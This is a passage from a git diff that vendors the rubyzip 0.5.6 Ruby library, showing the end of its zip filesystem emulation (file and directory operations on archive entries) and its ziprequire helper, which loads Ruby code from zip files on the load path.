@zipFsFile + @zipFsFile.dir = @zipFsDir + end + + def dir + @zipFsDir + end + + def file + @zipFsFile + end + + class ZipFsFile + + attr_writer :dir +# protected :dir + + class ZipFsStat + def initialize(zipFsFile, entryName) + @zipFsFile = zipFsFile + @entryName = entryName + end + + def forward_invoke(msg) + @zipFsFile.send(msg, @entryName) + end + + def kind_of?(t) + super || t == ::File::Stat + end + + forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev? + forward_message :forward_invoke, :symlink?, :socket?, :blockdev? + forward_message :forward_invoke, :readable?, :readable_real? + forward_message :forward_invoke, :writable?, :writable_real? + forward_message :forward_invoke, :executable?, :executable_real? + forward_message :forward_invoke, :sticky?, :owned?, :grpowned? + forward_message :forward_invoke, :setuid?, :setgid? + forward_message :forward_invoke, :zero? + forward_message :forward_invoke, :size, :size? + forward_message :forward_invoke, :mtime, :atime, :ctime + + def blocks; nil; end + + def get_entry + @zipFsFile.__send__(:get_entry, @entryName) + end + private :get_entry + + def gid + e = get_entry + if e.extra.member? "IUnix" + e.extra["IUnix"].gid || 0 + else + 0 + end + end + + def uid + e = get_entry + if e.extra.member? "IUnix" + e.extra["IUnix"].uid || 0 + else + 0 + end + end + + def ino; 0; end + + def dev; 0; end + + def rdev; 0; end + + def rdev_major; 0; end + + def rdev_minor; 0; end + + def ftype + if file? + return "file" + elsif directory? + return "directory" + else + raise StandardError, "Unknown file type" + end + end + + def nlink; 1; end + + def blksize; nil; end + + def mode + e = get_entry + if e.fstype == 3 + e.externalFileAttributes >> 16 + else + 33206 # 33206 is equivalent to -rw-rw-rw- + end + end + end + + def initialize(mappedZip) + @mappedZip = mappedZip + end + + def get_entry(fileName) + if ! exists?(fileName) + raise Errno::ENOENT, "No such file or directory - #{fileName}" + end + @mappedZip.find_entry(fileName) + end + private :get_entry + + def unix_mode_cmp(fileName, mode) + begin + e = get_entry(fileName) + e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0 + rescue Errno::ENOENT + false + end + end + private :unix_mode_cmp + + def exists?(fileName) + expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil + end + alias :exist? :exists? + + # Permissions not implemented, so if the file exists it is accessible + alias owned? exists? + alias grpowned? exists? + + def readable?(fileName) + unix_mode_cmp(fileName, 0444) + end + alias readable_real? readable? + + def writable?(fileName) + unix_mode_cmp(fileName, 0222) + end + alias writable_real? writable? + + def executable?(fileName) + unix_mode_cmp(fileName, 0111) + end + alias executable_real? executable? + + def setuid?(fileName) + unix_mode_cmp(fileName, 04000) + end + + def setgid?(fileName) + unix_mode_cmp(fileName, 02000) + end + + def sticky?(fileName) + unix_mode_cmp(fileName, 01000) + end + + def umask(*args) + ::File.umask(*args) + end + + def truncate(fileName, len) + raise StandardError, "truncate not supported" + end + + def directory?(fileName) + entry = @mappedZip.find_entry(fileName) + expand_path(fileName) == "/" || (entry != nil && entry.directory?) + end + + def open(fileName, openMode = "r", &block) + case openMode + when "r" + @mappedZip.get_input_stream(fileName, &block) + when "w" + @mappedZip.get_output_stream(fileName, &block) + else + raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r" + end + end + + def new(fileName, openMode = "r") + open(fileName, openMode) + end + + def size(fileName) + @mappedZip.get_entry(fileName).size + end + + # nil for not found and nil for directories + def size?(fileName) + entry = @mappedZip.find_entry(fileName) + return (entry == nil || entry.directory?) ? nil : entry.size + end + + def chown(ownerInt, groupInt, *filenames) + filenames.each { |fileName| + e = get_entry(fileName) + unless e.extra.member?("IUnix") + e.extra.create("IUnix") + end + e.extra["IUnix"].uid = ownerInt + e.extra["IUnix"].gid = groupInt + } + filenames.size + end + + def chmod (modeInt, *filenames) + filenames.each { |fileName| + e = get_entry(fileName) + e.fstype = 3 # force convertion filesystem type to unix + e.externalFileAttributes = modeInt << 16 + } + filenames.size + end + + def zero?(fileName) + sz = size(fileName) + sz == nil || sz == 0 + rescue Errno::ENOENT + false + end + + def file?(fileName) + entry = @mappedZip.find_entry(fileName) + entry != nil && entry.file? + end + + def dirname(fileName) + ::File.dirname(fileName) + end + + def basename(fileName) + ::File.basename(fileName) + end + + def split(fileName) + ::File.split(fileName) + end + + def join(*fragments) + ::File.join(*fragments) + end + + def utime(modifiedTime, *fileNames) + fileNames.each { |fileName| + get_entry(fileName).time = modifiedTime + } + end + + def mtime(fileName) + @mappedZip.get_entry(fileName).mtime + end + + def atime(fileName) + e = get_entry(fileName) + if e.extra.member? "UniversalTime" + e.extra["UniversalTime"].atime + else + nil + end + end + + def ctime(fileName) + e = get_entry(fileName) + if e.extra.member? "UniversalTime" + e.extra["UniversalTime"].ctime + else + nil + end + end + + def pipe?(filename) + false + end + + def blockdev?(filename) + false + end + + def chardev?(filename) + false + end + + def symlink?(fileName) + false + end + + def socket?(fileName) + false + end + + def ftype(fileName) + @mappedZip.get_entry(fileName).directory? ? "directory" : "file" + end + + def readlink(fileName) + raise NotImplementedError, "The readlink() function is not implemented" + end + + def symlink(fileName, symlinkName) + raise NotImplementedError, "The symlink() function is not implemented" + end + + def link(fileName, symlinkName) + raise NotImplementedError, "The link() function is not implemented" + end + + def pipe + raise NotImplementedError, "The pipe() function is not implemented" + end + + def stat(fileName) + if ! exists?(fileName) + raise Errno::ENOENT, fileName + end + ZipFsStat.new(self, fileName) + end + + alias lstat stat + + def readlines(fileName) + open(fileName) { |is| is.readlines } + end + + def read(fileName) + @mappedZip.read(fileName) + end + + def popen(*args, &aProc) + File.popen(*args, &aProc) + end + + def foreach(fileName, aSep = $/, &aProc) + open(fileName) { |is| is.each_line(aSep, &aProc) } + end + + def delete(*args) + args.each { + |fileName| + if directory?(fileName) + raise Errno::EISDIR, "Is a directory - \"#{fileName}\"" + end + @mappedZip.remove(fileName) + } + end + + def rename(fileToRename, newName) + @mappedZip.rename(fileToRename, newName) { true } + end + + alias :unlink :delete + + def expand_path(aPath) + @mappedZip.expand_path(aPath) + end + end + + class ZipFsDir + + def initialize(mappedZip) + @mappedZip = mappedZip + end + + attr_writer :file + + def new(aDirectoryName) + ZipFsDirIterator.new(entries(aDirectoryName)) + end + + def open(aDirectoryName) + dirIt = new(aDirectoryName) + if block_given? + begin + yield(dirIt) + return nil + ensure + dirIt.close + end + end + dirIt + end + + def pwd; @mappedZip.pwd; end + alias getwd pwd + + def chdir(aDirectoryName) + unless @file.stat(aDirectoryName).directory? + raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}" + end + @mappedZip.pwd = @file.expand_path(aDirectoryName) + end + + def entries(aDirectoryName) + entries = [] + foreach(aDirectoryName) { |e| entries << e } + entries + end + + def foreach(aDirectoryName) + unless @file.stat(aDirectoryName).directory? + raise Errno::ENOTDIR, aDirectoryName + end + path = @file.expand_path(aDirectoryName).ensure_end("/") + + subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$") + @mappedZip.each { + |fileName| + match = subDirEntriesRegex.match(fileName) + yield(match[1]) unless match == nil + } + end + + def delete(entryName) + unless @file.stat(entryName).directory? + raise Errno::EINVAL, "Invalid argument - #{entryName}" + end + @mappedZip.remove(entryName) + end + alias rmdir delete + alias unlink delete + + def mkdir(entryName, permissionInt = 0) + @mappedZip.mkdir(entryName, permissionInt) + end + + def chroot(*args) + raise NotImplementedError, "The chroot() function is not implemented" + end + + end + + class ZipFsDirIterator + include Enumerable + + def initialize(arrayOfFileNames) + @fileNames = arrayOfFileNames + @index = 0 + end + + def close + @fileNames = nil + end + + def each(&aProc) + raise IOError, "closed directory" if @fileNames == nil + @fileNames.each(&aProc) + end + + def read + raise IOError, "closed directory" if @fileNames == nil + @fileNames[(@index+=1)-1] + end + + def rewind + raise IOError, "closed directory" if @fileNames == nil + @index = 0 + end + + def seek(anIntegerPosition) + raise IOError, "closed directory" if @fileNames == nil + @index = anIntegerPosition + end + + def tell + raise IOError, "closed directory" if @fileNames == nil + @index + end + end + + # All access to ZipFile from ZipFsFile and ZipFsDir goes through a + # ZipFileNameMapper, which has one responsibility: ensure + class ZipFileNameMapper + include Enumerable + + def initialize(zipFile) + @zipFile = zipFile + @pwd = "/" + end + + attr_accessor :pwd + + def find_entry(fileName) + @zipFile.find_entry(expand_to_entry(fileName)) + end + + def get_entry(fileName) + @zipFile.get_entry(expand_to_entry(fileName)) + end + + def get_input_stream(fileName, &aProc) + @zipFile.get_input_stream(expand_to_entry(fileName), &aProc) + end + + def get_output_stream(fileName, &aProc) + @zipFile.get_output_stream(expand_to_entry(fileName), &aProc) + end + + def read(fileName) + @zipFile.read(expand_to_entry(fileName)) + end + + def remove(fileName) + @zipFile.remove(expand_to_entry(fileName)) + end + + def rename(fileName, newName, &continueOnExistsProc) + @zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName), + &continueOnExistsProc) + end + + def mkdir(fileName, permissionInt = 0) + @zipFile.mkdir(expand_to_entry(fileName), permissionInt) + end + + # Turns entries into strings and adds leading / + # and removes trailing slash on directories + def each + @zipFile.each { + |e| + yield("/"+e.to_s.chomp("/")) + } + end + + def expand_path(aPath) + expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath + expanded.gsub!(/\/\.(\/|$)/, "") + expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "") + expanded.empty? ? "/" : expanded + end + + private + + def expand_to_entry(aPath) + expand_path(aPath).lchop + end + end + end + + class ZipFile + include ZipFileSystem + end +end + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/ziprequire.rb b/vendor/rubyzip-0.5.6/zip/ziprequire.rb new file mode 100755 index 00000000..9cd4411c --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/ziprequire.rb @@ -0,0 +1,61 @@ +require 'zip/zip' + +class ZipList + def initialize(zipFileList) + @zipFileList = zipFileList + end + + def get_input_stream(entry, &aProc) + @zipFileList.each { + |zfName| + Zip::ZipFile.open(zfName) { + |zf| + begin + return zf.get_input_stream(entry, &aProc) + rescue Errno::ENOENT + end + } + } + raise Errno::ENOENT, + "No matching entry found in zip files '#{@zipFileList.join(', ')}' "+ + " for '#{entry}'" + end +end + + +module Kernel + alias :oldRequire :require + + def require(moduleName) + zip_require(moduleName) || oldRequire(moduleName) + end + + def zip_require(moduleName) + return false if already_loaded?(moduleName) + get_resource(ensure_rb_extension(moduleName)) { + |zis| + eval(zis.read); $" << moduleName + } + return true + rescue Errno::ENOENT => ex + return false + end + + def get_resource(resourceName, &aProc) + zl = ZipList.new($:.grep(/\.zip$/)) + zl.get_input_stream(resourceName, &aProc) + end + + def already_loaded?(moduleName) + moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$") + $".detect { |e| e =~ moduleRE } != nil + end + + def ensure_rb_extension(aString) + aString.sub(/(\.rb)?$/i, ".rb") + end +end + +# Copyright (C) 2002 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license.